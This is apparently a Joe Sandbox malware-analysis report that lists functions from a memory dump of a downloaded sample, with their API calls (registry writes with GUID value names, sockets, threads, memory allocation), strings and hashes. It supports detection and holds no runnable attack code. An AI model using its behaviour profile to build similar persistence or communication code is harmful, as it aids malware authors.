Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$Free$CreateEvent$Alloc$InfoLocale___crtund_memcpy$CloseFileFromGuidHandleInitializeLibraryLoadModuleNameSelectStringUninitializeclosesocketlstrcpylstrlensetsockoptshutdownsocketwsprintf
String ID:
API String ID: 3642594451-0
Opcode ID: 111b3e3bec87ee5087346a4b60be2eb3699642973ae1e90a55b76a8c8c7f5703
Instruction ID: 65a207879d43e119cbd0a0946e29820014e85793e7c0d97634d6c96d6394d18c
Opcode Fuzzy Hash: 111b3e3bec87ee5087346a4b60be2eb3699642973ae1e90a55b76a8c8c7f5703
Instruction Fuzzy Hash: 31B120B5A00328BFEB25DB95DC45FEA7379AB48700F504198F608AB181E7716F84CF62

Function 0030B3E0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 61registrytimeCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0030B3FF
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,?,00000000), ref: 0030B426
RegCloseKey.ADVAPI32(?), ref: 0030B438
_memset.LIBCMT ref: 0030B446
GetSystemTime.KERNEL32(?), ref: 0030B465
SystemTimeToFileTime.KERNEL32(?,?), ref: 0030B476

Strings

SOFTWARE\%s, xrefs: 0030B3EE
{BB52E685-57DB-490D-A4DD-CCF2F7D90D58}, xrefs: 0030B3E9

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Time$System$CloseCreateFile__snwprintf_memset
String ID: SOFTWARE\%s${BB52E685-57DB-490D-A4DD-CCF2F7D90D58}
API String ID: 3491885642-838102593
Opcode ID: 0e4b77501ff19165bbca2996be611d538e4c8c40e79a786d15a9f4aded5da7ee
Instruction ID: 5ca2206d87f601877a562b50c6b58950d476750f2264337e2c032c7e0408fd79
Opcode Fuzzy Hash: 0e4b77501ff19165bbca2996be611d538e4c8c40e79a786d15a9f4aded5da7ee
Instruction Fuzzy Hash: 20117771A54209B7EB21DBB0DC4AFFAB33CAB14704F500954BA099A1C2FBB59744C7A1

Function 00304650 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00304670
__snwprintf.LIBCMT ref: 0030468E
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F003F,00000000,000017FC,00000000), ref: 003046B5
RegSetValueExW.ADVAPI32(000017FC,{108D3252-20F0-4C1B-940D-6ED5366D8FD3},00000000,00000003,003734D4,003045E8), ref: 003046D4
RegCloseKey.ADVAPI32(000017FC), ref: 003046E2
RegCloseKey.ADVAPI32(000017FC), ref: 003046F3

Strings

SOFTWARE\%s, xrefs: 0030467D
{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00304678, 003046CB

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${108D3252-20F0-4C1B-940D-6ED5366D8FD3}
API String ID: 749045061-2357458413
Opcode ID: 910730a494e00d6f6bbf54902c517a377eaff5b8b52bcd75b96900211cd16481
Instruction ID: d18dd3231795798b5580ccba3d4f4a77fa0d876be54d9f82edc98730dc2b65bb
Opcode Fuzzy Hash: 910730a494e00d6f6bbf54902c517a377eaff5b8b52bcd75b96900211cd16481
Instruction Fuzzy Hash: E911657574430CBBE735DBA4EC8AFAA737CAF48B00F104544BB08AA1C1F6B69B409795

Function 00305090 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 55registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003050B0
__snwprintf.LIBCMT ref: 003050CE
RegCreateKeyExW.ADVAPI32(80000001,?,00000000,00000000,00000000,000F013F,00000000,?,00000000), ref: 003050F5
RegSetValueExW.ADVAPI32(?,{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8},00000000,00000003,?,00000B3C), ref: 00305115
RegCloseKey.ADVAPI32(?), ref: 00305123
RegCloseKey.ADVAPI32(?), ref: 00305134

Strings

SOFTWARE\%s, xrefs: 003050BD
{DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}, xrefs: 003050B8, 0030510C

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Close$CreateValue__snwprintf_memset
String ID: SOFTWARE\%s${DF4EE2DA-C20C-4BBF-97D5-4B94E23FE1C8}
API String ID: 749045061-237943000
Opcode ID: a994145e69a306521a9a2548b6233c0a42e0b506f611dbe70b6d5c550e03d6b7
Instruction ID: 8c03256e85cb1729fc8a4dc986020c1f7912fd728203c495b7789d2519c8982c
Opcode Fuzzy Hash: a994145e69a306521a9a2548b6233c0a42e0b506f611dbe70b6d5c550e03d6b7
Instruction Fuzzy Hash: 36119675754308BBE735DBA0DC4AFAB737CAF54B00F504544B70CAA1C0E6B59B409B95

Function 00306AC0 Relevance: 13.8, APIs: 9, Instructions: 253memoryCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 00306B42
LocalAlloc.KERNEL32(00000040,?), ref: 00306C3D

Part of subcall function 00320950: WSACreateEvent.WS2_32 ref: 003209B0

LocalAlloc.KERNEL32(00000040,?), ref: 00306C9A
LocalFree.KERNEL32(00000000), ref: 00306DE6

Part of subcall function 00308A80: LocalFree.KERNEL32(00000000), ref: 00308AE0
Part of subcall function 00308A80: LocalFree.KERNEL32(00000000), ref: 00308AF0
Part of subcall function 00308A80: LocalAlloc.KERNEL32(00000040,00030010), ref: 00308B3B
Part of subcall function 00308A80: LocalAlloc.KERNEL32(00000040,00008AD0), ref: 00308B55
Part of subcall function 00308A80: _memmove.LIBCMT ref: 00308B76
Part of subcall function 00308A80: lstrcpyW.KERNEL32(00000000,00000000), ref: 00308B86
Part of subcall function 00308A80: lstrcpyW.KERNEL32(-00010000,00000000), ref: 00308B99
Part of subcall function 00308A80: lstrcpyW.KERNEL32(-00020000,00000000), ref: 00308BAD

Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B,00316B10,00000000), ref: 003081EB
Part of subcall function 003081C0: LocalAlloc.KERNEL32(00000040,0000FFFE,?,?,00308D2B), ref: 00308205
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308235
Part of subcall function 003081C0: wnsprintfW.SHLWAPI ref: 00308251
Part of subcall function 003081C0: LocalFree.KERNEL32(00000000), ref: 00308A43

Part of subcall function 00309400: LocalAlloc.KERNEL32(00000040,00306D26,?,00306D8A,00000000,00000000,?), ref: 00309416
Part of subcall function 00309400: _memmove.LIBCMT ref: 00309435
Part of subcall function 00309400: lstrcpyW.KERNEL32(?,00000000,00000000,00000000), ref: 003094FF
Part of subcall function 00309400: StrStrIW.SHLWAPI(?,.DLL), ref: 00309511
Part of subcall function 00309400: CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000002,00000000,00000000), ref: 0030953C

LocalFree.KERNEL32(00000000), ref: 00306DAD
LocalFree.KERNEL32(00000000), ref: 00306DBA
LocalFree.KERNEL32(00000000), ref: 00306DFC
shutdown.WS2_32(?,00000002), ref: 00306E68
closesocket.WS2_32(?), ref: 00306E72

Part of subcall function 00320CD0: ___crtGetLocaleInfoEx.LIBCMTD ref: 00320CED

Part of subcall function 00320950: ___crtGetLocaleInfoEx.LIBCMTD ref: 0032096D

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$AllocFree$lstrcpy$CreateInfoLocale___crt_memmovewnsprintf$EventFileclosesocketsetsockoptshutdown
String ID:
API String ID: 3185571019-0
Opcode ID: a3af209775b80945dad3c4c99e2f711aa1e6927f875085479f82f39564cda2cd
Instruction ID: b317bdfcad04be47a1b1338f5bd9ac7444a842a34740eab929ddd228006c08dd
Opcode Fuzzy Hash: a3af209775b80945dad3c4c99e2f711aa1e6927f875085479f82f39564cda2cd
Instruction Fuzzy Hash: 40B11EB5E00218AFEB25DB94CC56FEEB778BF48310F508198E619AB2C1D7715A84CF61

Function 00317D60 Relevance: 13.7, APIs: 9, Instructions: 171stringmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 00317D89
_memmove.LIBCMT ref: 00317DB7
lstrlenA.KERNEL32(?), ref: 00317DDB
LocalAlloc.KERNEL32(00000040,?), ref: 00317DED

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: lstrlen$AllocLocal_memmove
String ID:
API String ID: 39496755-0
Opcode ID: 8b401cf64a9d3d1bebcc9615f3ec337204d4e4a0cb4e68a2c3eb75a69be47bd2
Instruction ID: b384228420c511827f6e27558f540865494f15a95be914e66ca8f20ed7d5dd99
Opcode Fuzzy Hash: 8b401cf64a9d3d1bebcc9615f3ec337204d4e4a0cb4e68a2c3eb75a69be47bd2
Instruction Fuzzy Hash: A971D874A0410ADFCF09CF98D981AEEB7B6FF4C304F248559E905AB241D734AE95DBA0

Function 0031EBC0 Relevance: 13.7, APIs: 9, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000FA0), ref: 0031EC09
und_memcpy.LIBCMTD ref: 0031EC2F
und_memcpy.LIBCMTD ref: 0031EC4A
VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 0031EC68
LocalFree.KERNEL32(00000000), ref: 0031EC84

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: AllocLocalund_memcpy$FreeVirtual
String ID:
API String ID: 2616075706-0
Opcode ID: 169d6d1e7c7b262174ec19d761686e53a7ef3985edf953b47a7e57b9e4bf83d6
Instruction ID: 6eb5214b6f452ed3b3d8db613c0d295b7a309c0fd615f2f81710ee69614681ee
Opcode Fuzzy Hash: 169d6d1e7c7b262174ec19d761686e53a7ef3985edf953b47a7e57b9e4bf83d6
Instruction Fuzzy Hash: 2871D2B5A00228CBCB68CF54DC84BDDB7B5AF98305F1484D9E50DAB351DA31AEC58F40

Function 0031C240 Relevance: 13.6, APIs: 9, Instructions: 95threadmemoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000014), ref: 0031C24A
CreateThread.KERNEL32(00000000,00000000,0031C360,00000000,00000000,00000000), ref: 0031C291
WaitForMultipleObjects.KERNEL32(?,?,00000000,000000FF), ref: 0031C2EB
GetExitCodeThread.KERNEL32(00000000,?), ref: 0031C302
CloseHandle.KERNEL32(00000000), ref: 0031C311
LocalFree.KERNEL32(00000000), ref: 0031C31B
TerminateThread.KERNEL32(00000000,00000000), ref: 0031C336
CloseHandle.KERNEL32(00000000), ref: 0031C340
LocalFree.KERNEL32(00000000), ref: 0031C34A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: LocalThread$CloseFreeHandle$AllocCodeCreateExitMultipleObjectsTerminateWait
String ID:
API String ID: 872497719-0
Opcode ID: 41ec70808b806e0bef5bb364e64e8a15a425dccdf746cbfe31f727b4487b94bb
Instruction ID: 72d60f9781e3816090f5bf187fc13d35ecb427ca92b1a47608f2bddbb3bede0c
Opcode Fuzzy Hash: 41ec70808b806e0bef5bb364e64e8a15a425dccdf746cbfe31f727b4487b94bb
Instruction Fuzzy Hash: 7D41C378A50208EFCB09DF94D984BDEBBB5FB48300F208559F915A7390D734AA85DF50

Function 003174C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 78threadsynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000000,?,0031720B,?), ref: 003174EB
CloseHandle.KERNEL32(00000000,?,0031720B,?), ref: 00317523
CloseHandle.KERNEL32(00000000,?,0031720B,?), ref: 00317543
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,0031720B,?), ref: 0031755B
CreateThread.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 0031757A
ResumeThread.KERNEL32(00000000), ref: 003175A8

Strings

d, xrefs: 003174D1

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: CloseCreateHandleThread$EventObjectResumeSingleWait
String ID: d
API String ID: 3200977696-2564639436
Opcode ID: 51ba4d8a9389051623d77876660668bcade1f5a542e3a8534609227fd4dfe0c7
Instruction ID: a8f13aa3fafdcad54987306c13baae0413b641be411556b343a4357972eefdd4
Opcode Fuzzy Hash: 51ba4d8a9389051623d77876660668bcade1f5a542e3a8534609227fd4dfe0c7
Instruction Fuzzy Hash: E83138B4A04209DFDB19CF94C888BAEB7B6FF48304F28C558E5196B390C375A985CF90

Function 0030E020 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0030E08F
OpenEventW.KERNEL32(00100002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 0030E0CA
SetEvent.KERNEL32(00000000), ref: 0030E0DD
CloseHandle.KERNEL32(00000000), ref: 0030E0E7
shutdown.WS2_32(?,00000002), ref: 0030E0F3
closesocket.WS2_32(?), ref: 0030E0FD

Part of subcall function 0030B6D0: CreateDirectoryW.KERNEL32(00000000,00000000), ref: 0030B701
Part of subcall function 0030B6D0: GetLastError.KERNEL32 ref: 0030B70C
Part of subcall function 0030B6D0: LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 0030B724
Part of subcall function 0030B6D0: __snwprintf.LIBCMT ref: 0030B74E
Part of subcall function 0030B6D0: CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 0030B773
Part of subcall function 0030B6D0: GetLastError.KERNEL32 ref: 0030B77C
Part of subcall function 0030B6D0: LocalFree.KERNEL32(00000000), ref: 0030B7FC
Part of subcall function 0030B6D0: LocalFree.KERNEL32(00000000), ref: 0030B806

Strings

{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 0030E0BE

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Local$CreateErrorEventFreeLast$AllocCloseDirectoryFileHandleOpen__snwprintfclosesocketsetsockoptshutdown
String ID: {DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 1062739783-1481857122
Opcode ID: e3295ba3ff9b17fb631bb8e124ad447e5026316ebb21e566e98e3353698ccd55
Instruction ID: 46d90ecaa5061944271bf984f5c4b27094a4a49e1a6518caff2cd0ac4b5226d6
Opcode Fuzzy Hash: e3295ba3ff9b17fb631bb8e124ad447e5026316ebb21e566e98e3353698ccd55
Instruction Fuzzy Hash: E7310871A00218AFDB25DFA4D859BAEBBB8FF48300F20862CE514A72D1D7B59944CF51

Function 00304320 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00304331
OpenEventW.KERNEL32(00000002,00000000,{DD700AA6-D197-4A4A-838A-B93EA96F236B}), ref: 00304383
SetEvent.KERNEL32(00000000), ref: 00304396
CloseHandle.KERNEL32(00000000), ref: 003043A0
SetEvent.KERNEL32(00000000), ref: 003043D8
ResetEvent.KERNEL32(00000000), ref: 003043FB

Strings

{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 0030437A

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: Event$CloseHandleObjectOpenResetSingleWait
String ID: {DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 1560999653-1481857122
Opcode ID: 84f5cf93102c9c0886f6885e1d7bc027412f0b41a7c58050790bb96692cbdd45
Instruction ID: 288c8815a466cd19d916c49a3b6541d213e0e0ce039721ae7327e48a9c942b88
Opcode Fuzzy Hash: 84f5cf93102c9c0886f6885e1d7bc027412f0b41a7c58050790bb96692cbdd45
Instruction Fuzzy Hash: 222160B4903314EBCB3BABA4E96D76C77BCA710305F221499E709961E0CB719AE0CB51

Function 00310010 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47memorystringCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(00337C00,00000000,00000000,00316B10,00371178,00316B10), ref: 00310023
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 00310034
wnsprintfW.SHLWAPI ref: 0031005F
lstrlenW.KERNEL32(?), ref: 00310070
CoTaskMemFree.COMBASE(?), ref: 0031007F
CoTaskMemFree.COMBASE(?), ref: 0031008E

Strings

%s\%s, xrefs: 00310051

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

Associated: 0000000D.00000002.1955016958.0000000000300000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955714662.0000000000332000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1955916664.000000000033C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956576845.0000000000371000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000372000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956685540.0000000000376000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956725434.000000000037A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000D.00000002.1956752953.0000000000380000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_300000_downloaded_file.jbxd

Yara matches

Similarity

API ID: FreeTask$AllocFolderKnownLocalPathlstrlenwnsprintf
String ID: %s\%s
API String ID: 1665550476-4073750446
Opcode ID: 48c411a6527b94fc456fc75216f1c75597d7e7b7f639493b1e09492a30806b2a
Instruction ID: 3f0afa88a0674d9690fa32084cd0f225f1ae785f0370cd100f413f9f3e93e5b0
Opcode Fuzzy Hash: 48c411a6527b94fc456fc75216f1c75597d7e7b7f639493b1e09492a30806b2a
Instruction Fuzzy Hash: 43014074A44208FBD729DFA4DC89FAE7BB9EF4C701F108464FA09D6280D6759AC0CB50

Function 00304770 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 44registryCOMMON

Download Yara Rule

APIs

__snwprintf.LIBCMT ref: 0030478F
RegOpenKeyW.ADVAPI32(80000001,?,?), ref: 003047A7
RegSetValueExW.ADVAPI32(?,{108D3252-20F0-4C1B-940D-6ED5366D8FD3},00000000,00000003,?,?), ref: 003047CA
RegCloseKey.ADVAPI32(?), ref: 003047D8

Strings

{108D3252-20F0-4C1B-940D-6ED5366D8FD3}, xrefs: 00304779, 003047C1
SOFTWARE\%s, xrefs: 0030477E

Memory Dump Source

Source File: 0000000D.00000002.1955095725.0000000000301000.00000020.00000001.01000000.00000007.sdmp, Offset: 00300000, based on PE: true

